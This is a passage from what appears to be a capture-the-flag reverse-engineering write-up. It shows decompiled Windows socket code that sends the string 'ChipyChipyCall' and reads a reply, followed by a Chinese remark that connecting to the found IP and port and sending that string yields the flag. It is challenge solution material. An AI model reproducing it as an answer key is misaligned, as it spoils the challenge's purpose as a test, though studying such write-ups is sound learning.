      send(s, "ChipyChipyCall", v2, 0);
      ((void (__fastcall *)(char *, _QWORD, __int64))loc_180010030)(v8, 0, 1024);
      v3 = recv(s, v8, 1023, 0);
      if ( v3 > 0 )
      {
        if ( (unsigned __int64)v3 >= 0x400 )
          _report_rangecheckfailure();
        v8[v3] = 0;
        sub_180004F60(v8);
      }
    }
    closesocket(s);
  }
  WSACleanup();
  return 0;
}

直接獲得 ip port 和連線後要發一個 ChipyChipyCall 過去,連上去照著發就 Get Flag 了!